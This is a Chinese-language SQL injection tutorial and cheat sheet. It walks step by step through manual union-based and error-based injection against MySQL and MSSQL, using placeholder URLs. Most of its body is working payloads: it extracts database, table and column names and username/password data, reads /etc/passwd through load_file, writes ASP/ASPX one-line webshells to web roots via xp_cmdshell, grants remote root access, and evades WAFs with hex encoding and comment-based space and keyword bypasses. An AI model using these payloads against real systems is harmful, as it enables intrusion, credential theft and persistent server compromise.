分類
SQL注入的攻擊方式根據應用程序處理數據庫返回內容的不同,可以分為可顯注入、報錯注入和盲注。
可顯注入
攻擊者可以直接在當前界面內容中獲取想要獲得的內容。
報錯注入
數據庫查詢返回結果并沒有在頁面中顯示,但是應用程序將數據庫報錯信息打印到了頁面中,所以攻擊者可以構造數據庫報錯語句,從報錯信息中獲取想要獲得的內容。
盲注
數據庫查詢結果無法從直觀頁面中獲取,攻擊者通過使用數據庫邏輯或使數據庫庫執(zhí)行延時等方法獲取想要獲得的內容。
MySQL手工注入
判斷注入點是否存在
數字型url后輸入
http://www.xxx.cn/list.php?page=4&id=524'? ? ? ? ? ? 返回錯誤??http://www.xxx.cn/list.php?page=4&id=524and1=1返回正確http://www.xxx.cn/list.php?page=4&id=524and1=2返回錯誤
注意:數字型注入最多出現在ASP/PHP等弱類型語言中,弱類型語言會自動推導變量類型,例如,參數id=8,PHP會自動推導變量id的數據類型為int類型,那么id=8 and 1=1,則會推導為string類型,而對于java或者c#這類強類型語言,如果試圖把一個字符串轉換成int類型,則會拋出異常,無法繼續(xù)運行。
字符型
url后輸入
http://www.xxx.cn/list.php?page=4&cid=x'? ? ? ? ? ? ?????????????返回錯誤??http://www.xxx.cn/list.php?page=4&cid=x' and 1=1 and '1'='1返回正確http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 and '1'='1返回錯誤
搜索型
輸入框中輸入
'????????????????????????返回錯誤x%' and 1=1 and '%'='返回正確x%' and 1=2 and '%'='返回錯誤
判斷字段數
數字型
http://www.xxx.cn/list.php?page=4&id=524order by17返回正確http://www.xxx.cn/list.php?page=4&id=524order by18返回錯誤
得出結論:字段數17。
字符型
http://www.xxx.cn/list.php?page=4&cid=x' order by17#?? ? ? 返回正確http://www.xxx.cn/list.php?page=4&cid=x' order by18# ?? ? 返回錯誤
得出結論:字段數17。
搜索型
x%' order by17# ????返回正確x%' order by18#? ? 返回錯誤
得出結論:字段數17。
尋找可顯示字段
數字型
http://www.xxx.cn/list.php?page=4&id=524and1=2union select1,2,3,4,5,6,7,8,9,....
字符型
http://www.xxx.cn/list.php?page=4&cid=x' and1=2union select1,2,3,4,5,6,7,8,9,....#
搜索型
x%' and1=2union select1,2,3,4,5,6,7,8,9,....#
查數據庫名
數字型
http://www.xxx.cn/list.php?page=4&id=524and1=2union select1,2,database(),4,5,6,7,8,9,....
字符型
http://www.xxx.cn/list.php?page=4&cid=x' and1=2union select1,2,database(),4,5,6,7,8,9,....#
搜索型
x%' and1=2union select1,2,database(),4,5,6,7,8,9,....#
查數據庫中表名
數字型
http://www.xxx.cn/list.php?page=4&id=524and1=2union select1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17frominformation_schema.tables where table_schema='數據庫名'
數據庫名也可以使用十六進制
字符型
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='數據庫名' #? ? ? ? ? 數據庫名也可以使用十六進制
搜索型
小智%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='數據庫名' #
數據庫名也可以使用十六進制
查表中的列名
數字型
http://www.xxx.cn/list.php?page=4&id=524and1=2union select1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17frominformation_schema.columns where table_name='表名'
表名也可以使用十六進制
字符型
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #
表名也可以使用十六進制
搜索型
小智%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #? ? ? ? ? ? ? ? 表名也可以使用十六進制
查表中的數據
數字型
http://www.xxx.cn/list.php?page=4&id=524and1=2union select1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17from表名
字符型
http://www.xxx.cn/list.php?page=4&id=x' and1=2union select1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17from表名 #
搜索型
x%' and1=2union select1,2,group_concat(username,password),4,5,6,7,8,9,....from表名 #
顯示版本:selectversion();顯示字符集:select @@character_set_database;顯示數據庫show databases;顯示表名:show tables;顯示計算機名:select @@hostname;顯示系統(tǒng)版本:select @@version_compile_os;顯示mysql路徑:select @@basedir;顯示數據庫路徑:select @@datadir;顯示root密碼:select User,Passwordfrommysql.user;開啟外連:GRANT ALL PRIVILEGES ON*.*TO'root'@'%'IDENTIFIED BY'123456'WITH GRANT OPTION;
MySQL函數利用
MySQL提供了load_file()函數,可以幫助用戶快速讀取文件,但是文件位置必須在服務器上,文件路徑必須為絕對路徑,而且需要root權限,SQL語句如下:
union select 1,load_file(‘/etc/passwd’),3,4,5 #
通常,一些防注入語句不允許單引號的出現,那么可以使用一下語句繞過:
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
對路徑進行16進制轉換。
MSSQL手工注入
與MySQL注入不同的是,MySQL利用的爆出顯示的字段,MSSQL利用的報錯注入,插入惡意的sql語句,讓查詢報錯,在報出的錯誤中,顯示我們想要的信息。
注入點:
www.xxx.cn/xxx/xxx.aspx?id=1
查詢數據庫版本
@@version:MSSQL全局變量,表示數據庫版本信息。
測試語句:
http://www.xxx.cn/xxx/xxx.aspx?id=1and @@version>0
注意:“and @@vsersion>0”也可以寫成“and 0/@@version>0”
報錯信息:在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉換成數據類型 int 時失敗。原因:@@version是MSSQL的全局變量,如果我們在“?id=1”后面加上“and @@version>0”,那么“and”后面的語句會將“@@version”強制抓換成int類型與0比較大小,但是類型轉換失敗,所以就將數據庫信息暴露出來。
查詢計算機名稱
@@servername:MSSQL全局變量,表示計算機名稱。報錯信息:在將 nvarchar 值 ‘WINDOWS-XXXXXX‘ 轉換成數據類型 int 時失敗。
查詢當前數據庫名稱
db_name():當前使用的數據庫名稱。報錯信息:在將 nvarchar 值 ‘abc‘ 轉換成數據類型 int 時失敗。
查詢當前連接數據庫的用戶
User_Name():當前連接數據庫的用戶。報錯信息:在將 nvarchar 值 ‘dbo‘ 轉換成數據類型 int 時失敗。注意:如果看到dbo,那么多半當前數據庫的用戶是dba權限。
查詢其他數據庫名稱
爆其他數據庫:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(SELECT top1Name FROM Master..SysDatabases)>0
報錯信息:
在將 nvarchar 值 ‘master‘ 轉換成數據類型 int 時失敗。再爆其他的數據庫則這么寫:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(SELECT top1Name FROM Master..SysDatabases where name notin('master'))>0
繼續(xù)的話要這么寫:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(SELECT top1Name FROM Master..SysDatabases where name notin('master','abc'))>0
查詢數據庫中的表名
查表名:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1namefromabc.sys.all_objects where type='U'AND is_ms_shipped=0)>0
報錯信息:
在將 nvarchar 值 ‘depart‘ 轉換成數據類型 int 時失敗。再爆其他表:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1namefromabc.sys.all_objects where type='U'AND is_ms_shipped=0and name notin('depart'))>0
在繼續(xù):
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1namefromabc.sys.all_objects where type='U'AND is_ms_shipped=0and name notin('depart','worker'))>0
查詢表中的列名或者是字段名
查字段名:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1COLUMN_NAMEfromabc.information_schema.columns where TABLE_NAME='depart')>0
報錯信息:
在將 nvarchar 值 ‘ID‘ 轉換成數據類型 int 時失敗。再爆其他字段:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1COLUMN_NAMEfromabc.information_schema.columns where TABLE_NAME='depart'and COLUMN_NAME notin('ID'))>0
再繼續(xù):
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1COLUMN_NAMEfromabc.information_schema.columns where TABLE_NAME='depart'and COLUMN_NAME notin('ID','NAME'))>0
爆數據
查詢數據:
http://www.xxx.cn/xxx/xxx.aspx?id=1and(select top1passwordfromdepart)>0
報錯信息:
在將 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 轉換成數據類型 int 時失敗。
寫入一句話木馬
如果數據的權限是dba,且知道網站路徑的話,那么我們就可以用這個語句來寫一句話木馬進去:
asp木馬:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--
aspx木馬:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx'--
原理是sql server支持堆疊查詢,利用xp_cmdshell可以執(zhí)行cmd指令,cmd指令中用【echo 內容 > 文件】可以寫文件到磁盤里面。
利用hex編碼繞過WAF
http://www.xxx.com/xxx/xxx.aspx?username=xxx
利用火狐瀏覽器中的hackbar工具的Encoding底下的“HEX Encoding”輕松把字符串編碼成為可以利用的hex,然后利用報錯注入就可以注入這個網站。
爆數據庫版本
select convert(int,@@version)hex編碼后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29然后使用如下方式注入:http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–報錯信息:在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉換成數據類型 int 時失敗。注意后面的注入語句:
dEcLaRe @svArChAr(8000)//聲明一個局部變量@s,類型為varchar(8000)sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29//給@s賦值,為“select convert(int,@@version)”的十六進制編碼eXeC(@s)//調用函數exec()執(zhí)行“@s”中的內容。
爆當前數據庫
select convert(int,db_name())
爆當前用戶
select convert(int,User_Name())
爆表
select convert(int,(select top 1 name from abc[數據庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0))
select convert(int,(select top 1 name from abc[數據庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段
select convert(int,(select top 1 COLUMN_NAME from abc[數據庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’))
select convert(int,(select top 1 COLUMN_NAME from abc[數據庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆數據
select convert(int,(select top 1 username from CMS_Admin))
select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你問我答小知識
1.id-1,頁面如果返回正確頁面說明是有注入,那+1可以嗎?(www.test.com/xsn.php?id=12+1)
不行,因為加號在url里面是空格的意思。
2.你知道m(xù)ysql里有幾種注釋方式嗎?三種:①.# 這個注釋直到該行結束;②./注釋多行/;③.–+ 這個注釋直到該行結束。第三種需要解釋一下,因為之前我不知道這個方法,說‘–’是注釋符我還大概有印象,但是–+就懵。其實是– ,注意–的后面有一個空格。但是在url里你直接空格會被瀏覽器直接處理掉,就到不了數據庫里。所以特意用加號代替。
3.“select select * from admin”可以執(zhí)行嗎?倘若不可以請說明。
不可以執(zhí)行,在使用select雙層的時候要把第二個括起來,否則無效。
4.倘若空格過濾了,你知道有哪些可以繞過嗎?或者說你知道哪些可以替代空格嗎?這些是空字符。比如un%0aion會被當做union來處理。假如空格被過濾了,可能的sql語句就會變成:selectfrom messages where uid=45or1=1,我們可以使用//來替換空格:http://www.xxx.com/index.php?id=45//or/**/1=1另外:%09%0A%0D+/|–|//@–|//?–|//|%20–%20|/都可以替代空格。
5.Windows下的Oracle數據庫是什么權限?
Windows下的Oracle數據庫,必須以system權限運行。
6.SQL注入和SQL盲注有何差別?
在常規(guī)的SQL注入中,應用返回數據庫中的數據并呈現給你,而在SQL盲注漏洞中,你只能獲取分別與注入中的真假條件相對應的兩個不同響應,應用會針對真假條件返回不同的值,但是攻擊者無法檢索查詢結果。
7.什么是引發(fā)SQL注入漏洞的主要原因?
Web應用未對用戶提供的數據進行充分審查和未對輸出進行編碼是產生問題的主要原因。
8.什么是堆疊查詢(stacked query)?
在單個數據庫連接中,執(zhí)行多個查詢序列,是否允許堆疊查詢是影響能否利用SQL注入漏洞的重要因素之一。在MYSQL中,SELECT * FROM members; DROP members;是可以執(zhí)行的,數據庫是肯定支持堆疊查詢的,但是讓php來執(zhí)行堆疊查詢的sql語句就不一定行了。
9.
/*! ... */
是啥意思?
MYSQL數據庫特有,如果在注釋的開頭部分添加一個感嘆號并在后面跟上數據庫版本編號,那么該注釋將被解析成代碼,只要數據庫版本高于或者等于注釋中包含的版本,代碼就會被執(zhí)行。
select1/*!40119 + 1*/
該查詢結果:
返回2(MySQL版本為4.01.19或者更高)
返回1(其他情況)
10.如果注入語句中的‘=’被過濾?
可以考慮使用like關鍵字替換:union select password from users where username like admin;
11.如果空格被過濾?
可以考慮使用‘/**/’替換:
union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;
注意,如果過濾了關鍵字,在MySQL中,還可以在關鍵字內部使用內聯注釋來繞過:
uni/**/on/**/sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;
12.SQL注入中的‘+’?
MSSQL:在MSSQL中,“+”運算符被用于字符串連接和加法運算,‘1’+‘1’=‘11’,1+1=2;
MySQL:在MySQL中,“+”運算符只被用于加法運算,‘1’+‘1’=‘2’,1+1=2;
Oracle:在Oracle中,“+”運算符只被用于加法運算,‘1’+‘1’=‘2’,1+1=2。
13.數據庫中字符串的連接符?
MSSQL:‘a’+‘b’=‘ab’
MYSQL:‘a’ ‘b’=‘ab’
Oracle:‘a’||‘b’=‘ab’
14.注釋符
MSSQL:‘--’(注意后面的空格),‘/*...*/’MySQL:‘--’,‘# ’,‘/*...*/’,注意,--后面必須要有一個或者多個空格。Oracle:‘--’,‘/*...*/’三種數據庫中,通用的注釋符是‘--’